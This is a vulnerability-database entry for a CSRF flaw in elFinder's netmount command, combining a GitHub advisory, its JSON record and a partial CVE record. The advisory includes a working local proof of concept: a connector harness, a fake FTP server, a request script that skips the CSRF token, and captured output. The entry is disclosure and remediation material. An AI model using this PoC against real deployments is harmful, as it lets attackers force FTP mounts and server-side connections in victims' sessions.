Vulnerability-Lookup

GHSA-9HJF-W35W-6VX2

Vulnerability from github – Published: 2026-09-02 14:37 – Updated: 2026-09-02 14:37

Summary

elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections

Details

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
No custom application authentication, external service, public infrastructure, or destructive action was used.
Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

force the victim's elFinder session to persist an attacker-chosen FTP network volume;
cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
send attacker-supplied FTP username/password values to that endpoint; and
expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "studio-42/elfinder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.70"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-81890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:37:36Z",
    "nvd_published_at": "2026-08-31T21:17:52Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe PHP connector\u0027s CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim\u0027s session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require.\n\nThis was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository\u0027s documented stable release `2.1.69` / API revision `2.1.69`.\n\n### Details\nThe connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list.\n\n`netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver\u0027s `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`.\n\nThe documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`:\n\n```php\n// // Enable FTP connector netmount\nelFinder::$netDrivers[\u0027ftp\u0027] = \u0027FTP\u0027;\n```\n\nThe FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.\n\nFalse-positive checks performed:\n\n- `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector\u0027s CSRF gate.\n- `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response.\n- The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.\n- No custom application authentication, external service, public infrastructure, or destructive action was used.\n- Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.\n\nCandidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.\n\n### PoC\nThe following safe local reproduction uses only a disposable connector under `/tmp`, the repository\u0027s PHP classes, PHP\u0027s built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems.\n\n1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness:\n\n```sh\nmkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs\ncat \u003e /tmp/elfinder-csrf-poc-claude/www/connector.php \u003c\u003c\u0027PHP\u0027\n\u003c?php\nerror_reporting(E_ALL);\nrequire \u0027/path/to/elFinder/php/autoload.php\u0027;\n\nelFinder::$netDrivers[\u0027ftp\u0027] = \u0027FTP\u0027;\n\nfunction access($attr, $path, $data, $volume, $isDir, $relpath) {\n    $basename = basename($path);\n    return $basename[0] === \u0027.\u0027 \u0026\u0026 strlen($relpath) !== 1\n        ? !($attr == \u0027read\u0027 || $attr == \u0027write\u0027)\n        : null;\n}\n\n$opts = array(\n    \u0027roots\u0027 =\u003e array(\n        array(\n            \u0027driver\u0027 =\u003e \u0027LocalFileSystem\u0027,\n            \u0027path\u0027 =\u003e __DIR__ . \u0027/files/\u0027,\n            \u0027URL\u0027 =\u003e \u0027/files/\u0027,\n            \u0027trashHash\u0027 =\u003e \u0027t1_Lw\u0027,\n            \u0027uploadDeny\u0027 =\u003e array(\u0027all\u0027),\n            \u0027uploadAllow\u0027 =\u003e array(\u0027text/plain\u0027),\n            \u0027uploadOrder\u0027 =\u003e array(\u0027deny\u0027, \u0027allow\u0027),\n            \u0027accessControl\u0027 =\u003e \u0027access\u0027\n        ),\n        array(\n            \u0027id\u0027 =\u003e \u00271\u0027,\n            \u0027driver\u0027 =\u003e \u0027Trash\u0027,\n            \u0027path\u0027 =\u003e __DIR__ . \u0027/files/.trash/\u0027,\n            \u0027tmbURL\u0027 =\u003e \u0027/files/.trash/.tmb/\u0027,\n            \u0027uploadDeny\u0027 =\u003e array(\u0027all\u0027),\n            \u0027uploadAllow\u0027 =\u003e array(\u0027text/plain\u0027),\n            \u0027uploadOrder\u0027 =\u003e array(\u0027deny\u0027, \u0027allow\u0027),\n            \u0027accessControl\u0027 =\u003e \u0027access\u0027\n        ),\n    )\n);\n\n$connector = new elFinderConnector(new elFinder($opts));\n$connector-\u003erun();\nPHP\n```\n\n2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`:\n\n```python\n#!/usr/bin/env python3\nimport socket, sys\nHOST = \u0027127.0.0.1\u0027\nPORT = int(sys.argv[1])\nLOG = sys.argv[2]\ndef log(line):\n    with open(LOG, \u0027a\u0027, encoding=\u0027utf-8\u0027) as f:\n        f.write(line + \u0027\\n\u0027)\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind((HOST, PORT))\n    s.listen(5)\n    log(f\u0027LISTEN {HOST}:{PORT}\u0027)\n    while True:\n        conn, addr = s.accept()\n        with conn:\n            log(f\u0027CONNECT {addr[0]}:{addr[1]}\u0027)\n            conn.sendall(b\u0027220 fake ftp ready\\r\\n\u0027)\n            while True:\n                data = b\u0027\u0027\n                while not data.endswith(b\u0027\\n\u0027):\n                    chunk = conn.recv(1)\n                    if not chunk:\n                        log(\u0027CLOSE\u0027)\n                        break\n                    data += chunk\n                if not data:\n                    break\n                line = data.decode(\u0027latin-1\u0027, errors=\u0027replace\u0027).strip()\n                log(\u0027CMD \u0027 + line)\n                cmd = line.split(\u0027 \u0027, 1)[0].upper()\n                if cmd == \u0027USER\u0027: conn.sendall(b\u0027331 password required\\r\\n\u0027)\n                elif cmd == \u0027PASS\u0027: conn.sendall(b\u0027230 login ok\\r\\n\u0027)\n                elif cmd.startswith(\u0027OPTS\u0027): conn.sendall(b\u0027200 ok\\r\\n\u0027)\n                elif cmd == \u0027HELP\u0027: conn.sendall(b\u0027214 fake help\\r\\n\u0027)\n                elif cmd == \u0027CWD\u0027: conn.sendall(b\u0027250 cwd ok\\r\\n\u0027)\n                elif cmd == \u0027PWD\u0027: conn.sendall(b\u0027257 \"/\"\\r\\n\u0027)\n                elif cmd == \u0027FEAT\u0027: conn.sendall(b\u0027211-Features\\r\\n MLST type*;size*;modify*;perm*;\\r\\n211 End\\r\\n\u0027)\n                elif cmd == \u0027MLST\u0027: conn.sendall(b\u0027250-Listing /\\r\\n type=dir;size=0;modify=20260101000000;perm=el; /\\r\\n250 End\\r\\n\u0027)\n                elif cmd == \u0027PASV\u0027: conn.sendall(b\u0027502 passive unavailable\\r\\n\u0027)\n                elif cmd == \u0027QUIT\u0027:\n                    conn.sendall(b\u0027221 bye\\r\\n\u0027)\n                    break\n                else: conn.sendall(b\u0027200 ok\\r\\n\u0027)\n```\n\n3. Start the local services:\n\n```sh\nphp -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www\npython3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log\n```\n\n4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request:\n\n```python\nimport json, urllib.parse, urllib.request, urllib.error, http.cookiejar\nbase = \u0027http://127.0.0.1:8765/connector.php\u0027\nlog = \u0027/tmp/elfinder-csrf-poc-claude/logs/ftp.log\u0027\nopen(log, \u0027w\u0027, encoding=\u0027utf-8\u0027).close()\ncj = http.cookiejar.CookieJar()\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\ndef request(params, timeout=12):\n    url = base + \u0027?\u0027 + urllib.parse.urlencode(params)\n    try:\n        with opener.open(url, timeout=timeout) as resp:\n            return resp.status, resp.read().decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\nstatus, body = request({\u0027cmd\u0027:\u0027open\u0027,\u0027init\u0027:\u00271\u0027,\u0027target\u0027:\u0027l1_Lw\u0027})\nopened = json.loads(body)\ntarget = opened.get(\u0027cwd\u0027, {}).get(\u0027hash\u0027, \u0027l1_Lw\u0027)\nprint(\u0027OPEN_STATUS=\u0027 + str(status))\nprint(\u0027OPEN_HAS_CSRF=\u0027 + str(\u0027\"csrf\"\u0027 in body))\nstatus, body = request({\u0027cmd\u0027:\u0027mkdir\u0027,\u0027target\u0027:target,\u0027name\u0027:\u0027csrf-control-no-header\u0027})\nprint(\u0027CONTROL_MKDIR_WITHOUT_CSRF_STATUS=\u0027 + str(status))\nprint(\u0027CONTROL_MKDIR_WITHOUT_CSRF_BODY=\u0027 + body.replace(\u0027\\n\u0027, \u0027 \u0027)[:160])\nstatus, body = request({\u0027cmd\u0027:\u0027netmount\u0027,\u0027protocol\u0027:\u0027ftp\u0027,\u0027host\u0027:\u0027127.0.0.1\u0027,\u0027port\u0027:\u002721210\u0027,\u0027path\u0027:\u0027/\u0027,\u0027user\u0027:\u0027anonymous\u0027,\u0027pass\u0027:\u0027\u0027})\nprint(\u0027NETMOUNT_WITHOUT_CSRF_STATUS=\u0027 + str(status))\nprint(\u0027NETMOUNT_WITHOUT_CSRF_HAS_ADDED=\u0027 + str(\u0027\"added\"\u0027 in body))\nprint(\u0027NETMOUNT_WITHOUT_CSRF_BODY=\u0027 + body.replace(\u0027\\n\u0027, \u0027 \u0027)[:260])\nprint(\u0027FTP_LOG=\u0027)\nprint(open(log, encoding=\u0027utf-8\u0027, errors=\u0027replace\u0027).read().strip())\n```\n\nObserved output from the final local re-run in this environment:\n\n```text\nOPEN_STATUS=200\nOPEN_HAS_CSRF=True\nCONTROL_MKDIR_WITHOUT_CSRF_STATUS=403\nCONTROL_MKDIR_WITHOUT_CSRF_BODY={\"error\":[\"errPerm\",\"Invalid request. Please reload.\"],\"csrfReload\":true}\nNETMOUNT_WITHOUT_CSRF_STATUS=200\nNETMOUNT_WITHOUT_CSRF_HAS_ADDED=True\nNETMOUNT_WITHOUT_CSRF_BODY={\"added\":[{\"mime\":\"directory\",\"size\":0,\"ts\":1767225600,\"read\":1,\"write\":0,\"locked\":1,\"hash\":\"fnm1_Lw\",\"name\":\"anonymous@127.0.0.1\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"self\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\nFTP_LOG=\nCONNECT 127.0.0.1:37496\nCMD USER anonymous\nCMD PASS\nCMD OPTS UTF8 ON\nCMD HELP\nCMD epsv4 off\nCMD PASV\nCMD CWD /\nCMD PWD\nCMD FEAT\nCMD MLST /\nCLOSE\n```\n\nThe negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection.\n\nCleanup:\n\n```sh\n# Stop the two local server processes, then remove the disposable harness.\nrm -rf /tmp/elfinder-csrf-poc-claude\n```\n\n### Impact\nAn attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker:\n\n- force the victim\u0027s elFinder session to persist an attacker-chosen FTP network volume;\n- cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;\n- send attacker-supplied FTP username/password values to that endpoint; and\n- expose the victim\u0027s later file-manager UI to the mounted remote volume.\n\nThe proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.\n\nThe impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim\u0027s authenticated session.\n\n### Suggested remediation\nRequire CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`.\n\nAlso consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.\n\nSuggested regression tests:\n\n- A request to `cmd=netmount\u0026protocol=ftp\u0026host=127.0.0.1\u0026port=\u003clocal-port\u003e` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener.\n- The same request with the valid token from `cmd=open\u0026init=1` should preserve intended behavior for authorized users.\n- `protocol=netunmount` should also reject missing/invalid CSRF tokens.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
  "id": "GHSA-9hjf-w35w-6vx2",
  "modified": "2026-09-02T14:37:36Z",
  "published": "2026-09-02T14:37:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81890"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Studio-42/elFinder"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/releases/tag/2.1.70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections"
}

CVE-2026-81890 (GCVE-0-2026-81890)

Vulnerability from cvelistv5 – Published: 2026-08-31 20:29 – Updated: 2026-09-01 13:55

Title

elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections

Summary

elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim's session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-01 13:54 UTC

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/Studio-42/elFinder/security/ad…	x_refsource_CONFIRM
https://github.com/Studio-42/elFinder/commit/3128…	x_refsource_MISC
https://github.com/Studio-42/elFinder/commit/36d4…	x_refsource_MISC
https://github.com/Studio-42/elFinder/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Studio-42	elFinder	Affected: < 2.1.70

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-81890",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-01T13:54:45.736717Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-01T13:55:03.629Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "elFinder",
          "vendor": "Studio-42",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.70"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim\u0027s session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
